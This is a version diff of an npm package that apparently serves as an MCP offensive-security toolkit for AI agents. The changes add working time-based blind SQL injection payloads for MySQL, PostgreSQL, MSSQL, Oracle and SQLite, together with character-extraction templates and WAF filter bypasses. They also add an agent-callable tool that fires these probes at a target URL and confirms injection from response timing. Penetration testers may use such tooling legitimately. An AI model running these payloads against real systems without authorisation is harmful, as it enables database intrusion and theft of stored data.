blitzstrike 2.4.149 → 2.4.151

package/CHANGELOG.md

@@ -5,6 +5,32 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.151] — 2026-10-11
+
+### Added — time-based blind SQLi (per-DBMS, detection + extraction)
+
+- `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
+  (mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
+  dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
+  randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
+  the mssql/oracle extraction templates.
+- `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
+  flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
+  via a >2s timing differential when the boolean body is identical.
+  547/547 tests.
+
+## [2.4.150] — 2026-10-11
+
+### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
+
+- Lab-verified correction: `SUBSTRING/**/(...)` (comment between a function name
+  and its paren) does NOT work on MySQL 8.0 — IGNORE_SPACE was removed in 8.0, so
+  the parser treats it as a stored-function call. It only works on MySQL ≤5.7.
+- Added the correct MySQL 8.0 function-name-filter bypasses: `sUbStRiNg()` case
+  swap + `SUBSTR()` / `MID()` / `SUBSTRING_INDEX()` aliases. Verified against a
+  live MySQL 8.0 blind-SQLi lab (boolean oracle, version/db/user/flag extracted).
+  539/539 tests.
+
 ## [2.4.149] — 2026-10-10
 
 ### Added — exhaustion checklist tool + English terminology

package/dist/index.js

@@ -59810,9 +59810,9 @@ var WAF_BYPASS_GENERIC = [
   {
     category: "func-paren-split",
     techniques: [
-      "SUBSTRING/**/(...) — comment between function name and (",
-      "SUBSTR/*x*/(...) — comment with content",
-      "FUNC/*!50000*/(...) — version-gated inline comment (MySQL)"
+      "SUBSTRING/**/(...) — comment between function name and ( — MySQL ≤5.7 ONLY (IGNORE_SPACE; removed in 8.0)",
+      "SUBSTR/*x*/(...) — comment with content (same ≤5.7 caveat)",
+      "MySQL 8.0 alternative: sUbStRiNg(...) case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases"
     ]
   },
   {
@@ -59889,6 +59889,7 @@ var WAF_BYPASS_DBMS = {
       category: "mysql-specific",
       techniques: [
         "/*!50000...*/ inline comment — MySQL executes, old WAF ignores",
+        "function-name filter (8.0): sUbStRiNg() case-swap + SUBSTR()/MID()/SUBSTRING_INDEX() aliases — comment-between-func-and-paren does NOT work on 8.0",
         "BENCHMARK(10000000,MD5(1)) as SLEEP alternative",
         "backtick obfuscation: SELECT `column` FROM `table`",
         "-- - and # comment terminators",
@@ -59961,13 +59962,41 @@ function listWafBypassDbms() {
 // src/blind-sqli.ts
 var WAF_BYPASS = WAF_BYPASS_FLAT;
 function oracleConfirm(dbms) {
-  const time = dbms === "mssql" ? "WAITFOR DELAY '0:0:5'" : dbms === "postgresql" ? "pg_sleep(5)" : dbms === "oracle" ? "dbms_lock.sleep(5)" : dbms === "sqlite" ? "randomblob(500000000)" : "SLEEP(5)";
+  const time = {
+    mysql: {
+      true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
+      false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
+      fn: "SLEEP(sec)"
+    },
+    postgresql: {
+      true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
+      false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
+      fn: "pg_sleep(sec)"
+    },
+    mssql: {
+      true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
+      false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
+      fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
+    },
+    oracle: {
+      true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
+      false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
+      fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
+    },
+    sqlite: {
+      true_: `' AND 1=1 AND randomblob(500000000)--`,
+      false_: `' AND 1=2 AND randomblob(500000000)--`,
+      fn: "randomblob(sec*100000000)"
+    }
+  };
+  const t = time[dbms];
   return {
     boolean_true: `' AND 1=1-- -`,
     boolean_false: `' AND 1=2-- -`,
-    time_true: `' AND IF(1=1,${time},0)-- -`,
-    time_false: `' AND IF(1=2,${time},0)-- -`,
-    note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below."
+    time_true: t.true_,
+    time_false: t.false_,
+    time_fn: t.fn,
+    note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
   };
 }
 function playbook(dbms) {
@@ -60041,7 +60070,7 @@ function playbook(dbms) {
         oracle: oracleConfirm(dbms),
         extraction: {
           boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
-          time: `' AND IF(SUBSTRING(({query}),{pos},1)='{char}',1,0)=1 WAITFOR DELAY '0:0:{sec}'--`,
+          time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
           method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
         },
         metadata: {
@@ -60065,7 +60094,7 @@ function playbook(dbms) {
         oracle: oracleConfirm(dbms),
         extraction: {
           boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
-          time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_lock.sleep({sec}) ELSE dbms_lock.sleep(0) END--`,
+          time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
           method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
         },
         metadata: {
@@ -62299,6 +62328,15 @@ function sstiProbes(value) {
 function xssProbe(value, marker) {
   return { sink: "xss", name: "marker", payload: `${value}${marker}` };
 }
+function timeProbes(dbms, value) {
+  const p = blindSqli(dbms);
+  if (!p)
+    return [];
+  return [
+    { sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
+    { sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
+  ];
+}
 function classifyBlindProbe(input) {
   const same = input.bodyHash === input.baselineHash;
   let signal = false;
@@ -62321,6 +62359,7 @@ function classifyBlindProbe(input) {
 async function blindOracle(baseUrl, param, value, opts = {}) {
   const base = baseUrl.replace(/\/+$/, "");
   const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
+  const timeDbms = opts.timeDbms ?? "mysql";
   const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
   const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
   const timeoutMs = opts.timeoutMs ?? 8000;
@@ -62344,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     probes.push(...sstiProbes(value));
   if (sinks.includes("xss"))
     probes.push(xssProbe(value, marker));
+  if (sinks.includes("time"))
+    probes.push(...timeProbes(timeDbms, value));
   const results = [];
   for (const p of probes) {
     const t0 = Date.now();
@@ -62363,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
         body,
         marker
       });
+      let signal = cls.signal;
+      let reason = cls.reason;
+      if (p.sink === "time") {
+        if (p.name === "time_true" && timing > 2000) {
+          signal = true;
+          reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
+        } else if (p.name === "time_false") {
+          reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
+        }
+      }
       results.push({
         sink: p.sink,
         name: p.name,
@@ -62372,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
         timing_ms: timing,
         body_hash: bodyHash.slice(0, 12),
         same_as_baseline: cls.same_as_baseline,
-        signal: cls.signal,
-        reason: cls.reason
+        signal,
+        reason
       });
     } catch {
       results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
@@ -65062,16 +65113,17 @@ ${statusLine}` : statusLine },
       base_url: string2().describe("Target base URL"),
       param: string2().describe("Parameter name to probe (e.g. id)"),
       value: string2().describe("Baseline value for the parameter (e.g. 1)"),
-      sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
+      sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
+      time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
     }
-  }, async ({ base_url, param, value, sinks }) => {
+  }, async ({ base_url, param, value, sinks, time_dbms }) => {
     let s;
     try {
       s = sinks ? JSON.parse(sinks) : undefined;
     } catch {
       return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
     }
-    return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
+    return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
   });
   server.registerTool("oob_start", {
     title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.149",
+  "version": "2.4.151",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {